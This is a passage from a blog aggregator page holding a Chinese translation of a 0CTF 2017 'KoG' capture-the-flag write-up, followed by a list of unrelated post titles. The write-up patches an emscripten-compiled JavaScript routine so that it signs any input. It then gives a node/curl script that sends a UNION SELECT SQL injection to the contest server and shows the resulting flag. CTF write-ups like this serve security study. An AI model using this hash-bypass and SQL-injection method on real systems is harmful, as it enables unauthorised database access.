Born to Learn
来源:互联网 发布:网络表情用英文怎么说 编辑:程序博客网 时间:2024/06/09 03:44
Born to Learn
0CTF2017-KoG 2017.3.19
你知道如何在浏览器上运行你的c++程序吗?
问题:
上帝荣光是一个有趣的游戏。我们的网站有一个玩家列表。
http://202.120.7.213:11181
打开给的网址,并没有什么有趣的东西,但是源代码显示,他是通过id参数来索引。所以,先试试但id=1,我们可以看到他用了一些有趣的参数来向api.php 发送请求
http://202.120.7.213:11181/api.php?id=1&hash=035c6d4adf335c31e884796a11a2590f&time=1489983725
他用当前的时间来作为salt来hashes(加密)ID这个参数,使用hashea值在服务器端验证ID的完整性。所以如果你加入一些SQL语句在ID里面,这些语句可能会阻碍hashes值产生,这些都发生在客户端。因此我们的目标是:绕过客户端的SQL注入检测,生成hash数列,并注入。
现在,最困难的部分来了:这个生成哈希值得代码是我见过的最复杂的。通过追踪Module.main(获取关联进程的主模块,进程模块表示加载到特定进程中的 .dll 或 .exe 文件。MainModule 属性使您能够查看有关用于启动进程的可执行文件的信息,包括模块名、文件名和模块内存详细信息。),我看到的分配器中 , 映射功能, 甚至功能名称 , 表明系统调用。
谷歌一下,发现他是通过c/c++编写,通过emscripten编译(可将c/c++编译为JavaScript)
坏消息是,这几乎没有逆向工具生成的js代码
好消息是:他是纯文本文件,比二进制好,它是易于插入跟踪代码 ,运行不插入SQLI,比较呼叫序列 ,以找出其中调用应用补丁。
问题中的函数是:__Z10user_inputNSt3__112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEEE,在注释下,下列两个if函数后,他可以对任何输入生成hash数列。
if (!($13)) {
;HEAP32[$agg$result>>2]=HEAP32[$s>>2]|0;HEAP32[$agg$result+4>>2]=HEAP32[$s+4>>2]|0;HEAP32[$agg$result+8>>2]=HEAP32[$s+8>>2]|0;;HEAP32[$s>>2]=0|0;HEAP32[$s+4>>2]=0|0;HEAP32[$s+8>>2]=0|0;__ZNSt3__112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEED2Ev($te);__ZNSt3__112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEED2Ev($s);STACKTOP = sp;return; }
if((label|
0) ==
12) {
;HEAP32[$agg$result>>
2]=HEAP32[$s>>
2]|
0;HEAP32[$agg$result+
4>>
2]=HEAP32[$s+
4>>
2]|
0;HEAP32[$agg$result+
8>>
2]=HEAP32[$s+
8>>
2]|
0;
;HEAP32[$s>>
2]=
0|
0;HEAP32[$s+
4>>
2]=
0|
0;HEAP32[$s+
8>>
2]=
0|
0;
__ZNSt3__112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEED2Ev($te);
__ZNSt3__112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEED2Ev($s);
STACKTOP = sp;
return;
}
接下来,这个就变成一个简单的SQL注入。首先使用order by语句在搜索表内来查询列数,然后再通过访问information_schema.tables
和
information_schema.columns
来找出题目中的表明和列名。
很容易写一个main.js的程序来hash和curl。
var Module = require('./functionn.js'); varq = process.argv[2]; var hash = Module.main(q).split('|'); var req ='http://202.120.7.213:11181/api.php?id=' + encodeURI(q) + '&hash=' +hash[0] + '&time=' + hash[1] console.log(req); var spawn = require('child_process').spawn;var curl = spawn('curl', [req]); curl.stdout.on('data', (data) => {console.log(`response: ${data}`); });
$ node main.js
"1 union all select 1,hey from fl4g"
http:
//202.120.
7.213:
11181/api.php?id=
1%20union%20all%20select%201,hey%20from%20fl4g&hash=c2f05acaf2f91ba81b8c9b3ce2304da7&
time=
1489882992
response: EaseSingle Qinflag{emScripten_is_Cut3_right?}
翻译自:https://jiulongw.github.io/post/0ctf-2017-kog/
- Born to Learn
- Born to Win
- Born to Win (1)
- born to do
- everyone born to be equal
- learn how to learn
- learn how to learn
- [英文歌曲]生为拼搏:Born to Try
- Born to win 生而为赢
- 《Born To Run,天生就会跑》评价+感想
- To Learn
- To learn, to share.
- [网播][podcast] Born to MISrepresent 第十七集:MGdesigner谈乌克丽丽
- Parajumpers Jacka read to born for you at
- Learn to fail or fail to learn.
- knowledge need to learn
- How to learn c++
- Knowledge to learn
- 伽罗瓦理论
- Linux(CentOS6.7) 开放80端口3306端口,配置防火墙命令
- 作为一个有追求的研究僧,电脑上必备哪些软件?
- 【zabbix教程三】——centos7 安装zabbix客户端并监控
- tcp linger
- Born to Learn
- 怎样查看当前Windows的安装序列号
- 三位水仙花数
- Eclipse出现some characters cannot be mapped using GBK
- 数据挖掘学习(二)-数据仓库
- java 引参和传值参
- 【zabbix教程四】——zabbix3.0监控磁盘IO与自定义模板
- JZOJ 5167 【NOIP2017模拟6.26】下蛋爷
- 使用C#更改打印机驱动打印属性设置